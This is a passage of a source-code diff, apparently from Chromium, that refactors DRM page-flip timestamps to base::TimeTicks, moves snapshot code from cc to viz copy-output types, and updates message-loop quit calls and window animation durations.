+++ b/ui/ozone/platform/drm/gpu/crtc_controller.cc
@@ -125,12 +125,8 @@
 }
 
 void CrtcController::OnPageFlipEvent(unsigned int frame,
-                                     unsigned int seconds,
-                                     unsigned int useconds) {
-  time_of_last_flip_ =
-      static_cast<uint64_t>(seconds) * base::Time::kMicrosecondsPerSecond +
-      useconds;
-
+                                     base::TimeTicks timestamp) {
+  time_of_last_flip_ = timestamp;
   SignalPageFlipRequest(gfx::SwapResult::SWAP_ACK);
 }
 
diff --git a/ui/ozone/platform/drm/gpu/crtc_controller.h b/ui/ozone/platform/drm/gpu/crtc_controller.h
index 1bdae03..5222b63 100644
--- a/ui/ozone/platform/drm/gpu/crtc_controller.h
+++ b/ui/ozone/platform/drm/gpu/crtc_controller.h
@@ -12,6 +12,7 @@
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
 #include "base/observer_list.h"
+#include "base/time/time.h"
 #include "ui/gfx/swap_result.h"
 #include "ui/ozone/platform/drm/common/scoped_drm_types.h"
 #include "ui/ozone/platform/drm/gpu/hardware_display_plane_manager.h"
@@ -39,7 +40,7 @@
   uint32_t connector() const { return connector_; }
   const scoped_refptr<DrmDevice>& drm() const { return drm_; }
   bool is_disabled() const { return is_disabled_; }
-  uint64_t time_of_last_flip() const { return time_of_last_flip_; }
+  base::TimeTicks time_of_last_flip() const { return time_of_last_flip_; }
 
   // Perform the initial modesetting operation using |plane| as the buffer for
   // the primary plane. The CRTC configuration is specified by |mode|.
@@ -76,12 +77,7 @@
   // Called when the page flip event occurred. The event is provided by the
   // kernel when a VBlank event finished. This allows the controller to
   // update internal state and propagate the update to the surface.
-  // The tuple (seconds, useconds) represents the event timestamp. |seconds|
-  // represents the number of seconds while |useconds| represents the
-  // microseconds (< 1 second) in the timestamp.
-  void OnPageFlipEvent(unsigned int frame,
-                       unsigned int seconds,
-                       unsigned int useconds);
+  void OnPageFlipEvent(unsigned int frame, base::TimeTicks timestamp);
 
   bool SetCursor(const scoped_refptr<ScanoutBuffer>& buffer);
   bool MoveCursor(const gfx::Point& location);
@@ -110,7 +106,7 @@
   bool is_disabled_ = true;
 
   // The time of the last page flip event as reported by the kernel callback.
-  uint64_t time_of_last_flip_ = 0;
+  base::TimeTicks time_of_last_flip_;
 
   DISALLOW_COPY_AND_ASSIGN(CrtcController);
 };
diff --git a/ui/ozone/platform/drm/gpu/drm_device.cc b/ui/ozone/platform/drm/gpu/drm_device.cc
index ade4e88..c07e03e 100644
--- a/ui/ozone/platform/drm/gpu/drm_device.cc
+++ b/ui/ozone/platform/drm/gpu/drm_device.cc
@@ -31,10 +31,9 @@
 
 namespace {
 
-typedef base::Callback<void(uint32_t /* frame */,
-                            uint32_t /* seconds */,
-                            uint32_t /* useconds */,
-                            uint64_t /* id */)> DrmEventHandler;
+using DrmEventHandler = base::Callback<void(uint32_t /* frame */,
+                                            base::TimeTicks /* timestamp */,
+                                            uint64_t /* id */)>;
 
 bool DrmCreateDumbBuffer(int fd,
                          const SkImageInfo& info,
@@ -98,8 +97,17 @@
         TRACE_EVENT_INSTANT1("benchmark,drm", "DrmEventFlipComplete",
                              TRACE_EVENT_SCOPE_THREAD, "data",
                              std::move(drm_data));
-        callback.Run(vblank.sequence, vblank.tv_sec, vblank.tv_usec,
-                     vblank.user_data);
+        // Warning: It is generally unsafe to manufacture TimeTicks values; but
+        // here it is required for interfacing with libdrm. Assumption: libdrm
+        // is providing the timestamp from the CLOCK_MONOTONIC POSIX clock.
+        DCHECK_EQ(base::TimeTicks::GetClock(),
+                  base::TimeTicks::Clock::LINUX_CLOCK_MONOTONIC);
+        const base::TimeTicks timestamp =
+            base::TimeTicks() + base::TimeDelta::FromMicroseconds(
+                                    static_cast<int64_t>(vblank.tv_sec) *
+                                        base::Time::kMicrosecondsPerSecond +
+                                    vblank.tv_usec);
+        callback.Run(vblank.sequence, timestamp, vblank.user_data);
       } break;
       case DRM_EVENT_VBLANK:
         break;
@@ -299,10 +307,7 @@
   PageFlipManager() : next_id_(0) {}
   ~PageFlipManager() {}
 
-  void OnPageFlip(uint32_t frame,
-                  uint32_t seconds,
-                  uint32_t useconds,
-                  uint64_t id) {
+  void OnPageFlip(uint32_t frame, base::TimeTicks timestamp, uint64_t id) {
     auto it =
         std::find_if(callbacks_.begin(), callbacks_.end(), FindCallback(id));
     if (it == callbacks_.end()) {
@@ -316,7 +321,7 @@
       return;
 
     callbacks_.erase(it);
-    callback.Run(frame, seconds, useconds);
+    callback.Run(frame, timestamp);
   }
 
   uint64_t GetNextId() { return next_id_++; }
diff --git a/ui/ozone/platform/drm/gpu/drm_device.h b/ui/ozone/platform/drm/gpu/drm_device.h
index 132b5dc..4e19784 100644
--- a/ui/ozone/platform/drm/gpu/drm_device.h
+++ b/ui/ozone/platform/drm/gpu/drm_device.h
@@ -15,6 +15,7 @@
 #include "base/files/file_path.h"
 #include "base/macros.h"
 #include "base/memory/ref_counted.h"
+#include "base/time/time.h"
 #include "ui/gfx/geometry/rect.h"
 #include "ui/gfx/geometry/rect_f.h"
 #include "ui/gfx/overlay_transform.h"
@@ -39,9 +40,9 @@
 // would be called. In unit tests this interface would be stubbed.
 class DrmDevice : public base::RefCountedThreadSafe<DrmDevice> {
  public:
-  typedef base::Callback<void(unsigned int /* frame */,
-                              unsigned int /* seconds */,
-                              unsigned int /* useconds */)> PageFlipCallback;
+  using PageFlipCallback =
+      base::Callback<void(unsigned int /* frame */,
+                          base::TimeTicks /* timestamp */)>;
 
   DrmDevice(const base::FilePath& device_path,
             base::File file,
diff --git a/ui/ozone/platform/drm/gpu/drm_window.cc b/ui/ozone/platform/drm/gpu/drm_window.cc
index 29447bc..82b8617 100644
--- a/ui/ozone/platform/drm/gpu/drm_window.cc
+++ b/ui/ozone/platform/drm/gpu/drm_window.cc
@@ -162,18 +162,11 @@
   // If we're in mirror mode the 2 CRTCs should have similar modes with the same
   // refresh rates.
   CrtcController* crtc = controller_->crtc_controllers()[0].get();
-  // The value is invalid, so we can't update the parameters.
-  if (controller_->GetTimeOfLastFlip() == 0 || crtc->mode().vrefresh == 0)
-    return;
-
-  // Stores the time of the last refresh.
-  base::TimeTicks timebase =
-      base::TimeTicks::FromInternalValue(controller_->GetTimeOfLastFlip());
-  // Stores the refresh rate.
-  base::TimeDelta interval =
-      base::TimeDelta::FromSeconds(1) / crtc->mode().vrefresh;
-
-  callback.Run(timebase, interval);
+  const base::TimeTicks last_flip = controller_->GetTimeOfLastFlip();
+  if (last_flip == base::TimeTicks() || crtc->mode().vrefresh == 0)
+    return;  // The value is invalid, so we can't update the parameters.
+  callback.Run(last_flip,
+               base::TimeDelta::FromSeconds(1) / crtc->mode().vrefresh);
 }
 
 void DrmWindow::ResetCursor(bool bitmap_only) {
diff --git a/ui/ozone/platform/drm/gpu/hardware_display_controller.cc b/ui/ozone/platform/drm/gpu/hardware_display_controller.cc
index 4621865..43b1a99 100644
--- a/ui/ozone/platform/drm/gpu/hardware_display_controller.cc
+++ b/ui/ozone/platform/drm/gpu/hardware_display_controller.cc
@@ -283,8 +283,8 @@
                    crtc_controllers_[0]->mode().vdisplay);
 }
 
-uint64_t HardwareDisplayController::GetTimeOfLastFlip() const {
-  uint64_t time = 0;
+base::TimeTicks HardwareDisplayController::GetTimeOfLastFlip() const {
+  base::TimeTicks time;
   for (const auto& controller : crtc_controllers_) {
     if (time < controller->time_of_last_flip())
       time = controller->time_of_last_flip();
diff --git a/ui/ozone/platform/drm/gpu/hardware_display_controller.h b/ui/ozone/platform/drm/gpu/hardware_display_controller.h
index 31777d2..c80aba4 100644
--- a/ui/ozone/platform/drm/gpu/hardware_display_controller.h
+++ b/ui/ozone/platform/drm/gpu/hardware_display_controller.h
@@ -17,6 +17,7 @@
 
 #include "base/callback.h"
 #include "base/macros.h"
+#include "base/time/time.h"
 #include "ui/gfx/swap_result.h"
 #include "ui/ozone/platform/drm/gpu/hardware_display_plane_manager.h"
 #include "ui/ozone/platform/drm/gpu/overlay_plane.h"
@@ -149,7 +150,7 @@
   gfx::Point origin() const { return origin_; }
   void set_origin(const gfx::Point& origin) { origin_ = origin; }
 
-  uint64_t GetTimeOfLastFlip() const;
+  base::TimeTicks GetTimeOfLastFlip() const;
 
   const std::vector<std::unique_ptr<CrtcController>>& crtc_controllers() const {
     return crtc_controllers_;
diff --git a/ui/ozone/platform/drm/gpu/hardware_display_plane_manager_atomic.cc b/ui/ozone/platform/drm/gpu/hardware_display_plane_manager_atomic.cc
index 67bea12..01239565 100644
--- a/ui/ozone/platform/drm/gpu/hardware_display_plane_manager_atomic.cc
+++ b/ui/ozone/platform/drm/gpu/hardware_display_plane_manager_atomic.cc
@@ -17,12 +17,11 @@
 
 void AtomicPageFlipCallback(std::vector<base::WeakPtr<CrtcController>> crtcs,
                             unsigned int frame,
-                            unsigned int seconds,
-                            unsigned int useconds) {
+                            base::TimeTicks timestamp) {
   for (auto& crtc : crtcs) {
     auto* crtc_ptr = crtc.get();
     if (crtc_ptr)
-      crtc_ptr->OnPageFlipEvent(frame, seconds, useconds);
+      crtc_ptr->OnPageFlipEvent(frame, timestamp);
   }
 }
 
diff --git a/ui/ozone/platform/drm/gpu/mock_drm_device.cc b/ui/ozone/platform/drm/gpu/mock_drm_device.cc
index c294771..c384522 100644
--- a/ui/ozone/platform/drm/gpu/mock_drm_device.cc
+++ b/ui/ozone/platform/drm/gpu/mock_drm_device.cc
@@ -126,7 +126,7 @@
   current_framebuffer_ = framebuffer;
   if (page_flip_expectation_) {
     if (use_sync_flips_)
-      callback.Run(0, 0, 0);
+      callback.Run(0, base::TimeTicks());
     else
       callbacks_.push(callback);
   }
@@ -241,7 +241,7 @@
   while (!callbacks_.empty()) {
     PageFlipCallback callback = callbacks_.front();
     callbacks_.pop();
-    callback.Run(0, 0, 0);
+    callback.Run(0, base::TimeTicks());
   }
 }
 
diff --git a/ui/snapshot/DEPS b/ui/snapshot/DEPS
index af28d39f..1ea69bf 100644
--- a/ui/snapshot/DEPS
+++ b/ui/snapshot/DEPS
@@ -1,6 +1,7 @@
 include_rules = [
   "+cc",
   "-cc/blink",
+  "+components/viz/common/quads",
   "-components/viz/service/surfaces",
   "+skia/ext",
   "+third_party/skia",
diff --git a/ui/snapshot/snapshot_android.cc b/ui/snapshot/snapshot_android.cc
index 0af3a33..2011398 100644
--- a/ui/snapshot/snapshot_android.cc
+++ b/ui/snapshot/snapshot_android.cc
@@ -9,7 +9,7 @@
 
 #include "base/bind.h"
 #include "base/task_runner.h"
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "third_party/skia/include/core/SkBitmap.h"
 #include "ui/android/view_android.h"
 #include "ui/android/window_android.h"
@@ -38,9 +38,9 @@
 static void MakeAsyncCopyRequest(
     gfx::NativeWindow window,
     const gfx::Rect& source_rect,
-    cc::CopyOutputRequest::CopyOutputRequestCallback callback) {
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateBitmapRequest(std::move(callback));
+    viz::CopyOutputRequest::CopyOutputRequestCallback callback) {
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(std::move(callback));
 
   float scale = ui::GetScaleFactorForNativeView(window);
   request->set_area(gfx::ScaleToEnclosingRect(source_rect, scale));
diff --git a/ui/snapshot/snapshot_async.cc b/ui/snapshot/snapshot_async.cc
index 173f70a..e05553c 100644
--- a/ui/snapshot/snapshot_async.cc
+++ b/ui/snapshot/snapshot_async.cc
@@ -38,7 +38,7 @@
     const GrabWindowSnapshotAsyncCallback& callback,
     const gfx::Size& target_size,
     scoped_refptr<base::TaskRunner> background_task_runner,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (result->IsEmpty()) {
     callback.Run(gfx::Image());
     return;
@@ -57,7 +57,7 @@
 
 void SnapshotAsync::RunCallbackWithCopyOutputResult(
     const GrabWindowSnapshotAsyncCallback& callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (result->IsEmpty()) {
     callback.Run(gfx::Image());
     return;
diff --git a/ui/snapshot/snapshot_async.h b/ui/snapshot/snapshot_async.h
index 79928e0..68b2bff 100644
--- a/ui/snapshot/snapshot_async.h
+++ b/ui/snapshot/snapshot_async.h
@@ -8,7 +8,7 @@
 #include <memory>
 
 #include "base/macros.h"
-#include "cc/output/copy_output_result.h"
+#include "components/viz/common/quads/copy_output_result.h"
 #include "ui/snapshot/snapshot.h"
 
 namespace base {
@@ -21,7 +21,7 @@
 
 namespace ui {
 
-// Helper methods for async snapshots to convert a cc::CopyOutputResult into a
+// Helper methods for async snapshots to convert a viz::CopyOutputResult into a
 // ui::GrabWindowSnapshot callback.
 class SnapshotAsync {
  public:
@@ -29,11 +29,11 @@
       const GrabWindowSnapshotAsyncCallback& callback,
       const gfx::Size& target_size,
       scoped_refptr<base::TaskRunner> background_task_runner,
-      std::unique_ptr<cc::CopyOutputResult> result);
+      std::unique_ptr<viz::CopyOutputResult> result);
 
   static void RunCallbackWithCopyOutputResult(
       const GrabWindowSnapshotAsyncCallback& callback,
-      std::unique_ptr<cc::CopyOutputResult> result);
+      std::unique_ptr<viz::CopyOutputResult> result);
 
  private:
   DISALLOW_IMPLICIT_CONSTRUCTORS(SnapshotAsync);
diff --git a/ui/snapshot/snapshot_aura.cc b/ui/snapshot/snapshot_aura.cc
index 10328ee7..845f03e 100644
--- a/ui/snapshot/snapshot_aura.cc
+++ b/ui/snapshot/snapshot_aura.cc
@@ -10,7 +10,7 @@
 #include "base/callback.h"
 #include "base/memory/ptr_util.h"
 #include "base/task_runner_util.h"
-#include "cc/output/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_request.h"
 #include "third_party/skia/include/core/SkBitmap.h"
 #include "ui/aura/window.h"
 #include "ui/aura/window_tracker.h"
@@ -31,9 +31,9 @@
 static void MakeAsyncCopyRequest(
     Layer* layer,
     const gfx::Rect& source_rect,
-    cc::CopyOutputRequest::CopyOutputRequestCallback callback) {
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateBitmapRequest(std::move(callback));
+    viz::CopyOutputRequest::CopyOutputRequestCallback callback) {
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(std::move(callback));
   request->set_area(source_rect);
   layer->RequestCopyOfOutput(std::move(request));
 }
@@ -41,9 +41,9 @@
 static void FinishedAsyncCopyRequest(
     std::unique_ptr<aura::WindowTracker> tracker,
     const gfx::Rect& source_rect,
-    cc::CopyOutputRequest::CopyOutputRequestCallback callback,
+    viz::CopyOutputRequest::CopyOutputRequestCallback callback,
     int retry_count,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   static const int kMaxRetries = 5;
   // Retry the copy request if the previous one failed for some reason.
   if (!tracker->windows().empty() && (retry_count < kMaxRetries) &&
@@ -67,7 +67,7 @@
 static void MakeInitialAsyncCopyRequest(
     aura::Window* window,
     const gfx::Rect& source_rect,
-    cc::CopyOutputRequest::CopyOutputRequestCallback callback) {
+    viz::CopyOutputRequest::CopyOutputRequestCallback callback) {
   auto tracker = base::MakeUnique<aura::WindowTracker>();
   tracker->Add(window);
   MakeAsyncCopyRequest(
diff --git a/ui/views/examples/examples_window.cc b/ui/views/examples/examples_window.cc
index f3b3d0a..ae5e2ab 100644
--- a/ui/views/examples/examples_window.cc
+++ b/ui/views/examples/examples_window.cc
@@ -11,7 +11,7 @@
 
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "ui/base/l10n/l10n_util.h"
 #include "ui/base/models/combobox_model.h"
@@ -190,7 +190,7 @@
   void WindowClosing() override {
     instance_ = NULL;
     if (operation_ == QUIT_ON_CLOSE)
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
   gfx::Size CalculatePreferredSize() const override {
     return gfx::Size(800, 300);
diff --git a/ui/views/widget/widget_interactive_uitest.cc b/ui/views/widget/widget_interactive_uitest.cc
index 75aba4f..fd64182 100644
--- a/ui/views/widget/widget_interactive_uitest.cc
+++ b/ui/views/widget/widget_interactive_uitest.cc
@@ -62,7 +62,7 @@
   // View:
   void OnMouseReleased(const ui::MouseEvent& event) override {
     GetWidget()->Close();
-    base::MessageLoop::current()->QuitNow();
+    base::RunLoop::QuitCurrentDeprecated();
   }
 
   DISALLOW_COPY_AND_ASSIGN(ExitLoopOnRelease);
diff --git a/ui/views/widget/widget_unittest.cc b/ui/views/widget/widget_unittest.cc
index e321d91..2c1eafa 100644
--- a/ui/views/widget/widget_unittest.cc
+++ b/ui/views/widget/widget_unittest.cc
@@ -8,7 +8,6 @@
 
 #include "base/bind.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "build/build_config.h"
@@ -2096,7 +2095,7 @@
   ~CloseDestroysWidget() override {
     if (destroyed_) {
       *destroyed_ = true;
-      base::MessageLoop::current()->QuitNow();
+      base::RunLoop::QuitCurrentDeprecated();
     }
   }
 
diff --git a/ui/wm/core/window_animations.cc b/ui/wm/core/window_animations.cc
index d72c5b4..3807663 100644
--- a/ui/wm/core/window_animations.cc
+++ b/ui/wm/core/window_animations.cc
@@ -148,7 +148,9 @@
 DEFINE_UI_CLASS_PROPERTY_KEY(int,
                           kWindowVisibilityAnimationTypeKey,
                           WINDOW_VISIBILITY_ANIMATION_TYPE_DEFAULT);
-DEFINE_UI_CLASS_PROPERTY_KEY(int, kWindowVisibilityAnimationDurationKey, 0);
+DEFINE_UI_CLASS_PROPERTY_KEY(base::TimeDelta,
+                             kWindowVisibilityAnimationDurationKey,
+                             base::TimeDelta());
 DEFINE_UI_CLASS_PROPERTY_KEY(WindowVisibilityAnimationTransition,
                           kWindowVisibilityAnimationTransitionKey,
                           ANIMATE_BOTH);
@@ -196,13 +198,13 @@
 
 base::TimeDelta GetWindowVisibilityAnimationDuration(
     const aura::Window& window) {
-  int duration =
+  base::TimeDelta duration =
       window.GetProperty(kWindowVisibilityAnimationDurationKey);
-  if (duration == 0 && window.type() == aura::client::WINDOW_TYPE_MENU) {
+  if (duration.is_zero() && window.type() == aura::client::WINDOW_TYPE_MENU) {
     return base::TimeDelta::FromMilliseconds(
         kDefaultAnimationDurationForMenuMS);
   }
-  return base::TimeDelta::FromInternalValue(duration);
+  return duration;
 }
 
 // Gets/sets the WindowVisibilityAnimationType associated with a window.
@@ -283,7 +285,7 @@
     // Property sets within this scope will be implicitly animated.
     ui::ScopedLayerAnimationSettings settings(window->layer()->GetAnimator());
     base::TimeDelta duration = GetWindowVisibilityAnimationDuration(*window);
-    if (duration.ToInternalValue() > 0)
+    if (duration > base::TimeDelta())
       settings.SetTransitionDuration(duration);
 
     window->layer()->SetTransform(end_transform);
@@ -300,7 +302,7 @@
   // Property sets within this scope will be implicitly animated.
   ScopedHidingAnimationSettings hiding_settings(window);
   base::TimeDelta duration = GetWindowVisibilityAnimationDuration(*window);
-  if (duration.ToInternalValue() > 0)
+  if (duration > base::TimeDelta())
     hiding_settings.layer_animation_settings()->SetTransitionDuration(duration);
 
   window->layer()->SetOpacity(kWindowAnimation_HideOpacity);
@@ -612,14 +614,12 @@
 
 void SetWindowVisibilityAnimationDuration(aura::Window* window,
                                           const base::TimeDelta& duration) {
-  window->SetProperty(kWindowVisibilityAnimationDurationKey,
-                      static_cast<int>(duration.ToInternalValue()));
+  window->SetProperty(kWindowVisibilityAnimationDurationKey, duration);
 }
 
 base::TimeDelta GetWindowVisibilityAnimationDuration(
     const aura::Window& window) {
-  return base::TimeDelta::FromInternalValue(
-      window.GetProperty(kWindowVisibilityAnimationDurationKey));
+  return window.GetProperty(kWindowVisibilityAnimationDurationKey);
 }
 
 void SetWindowVisibilityAnimationVerticalPosition(aura::Window* window,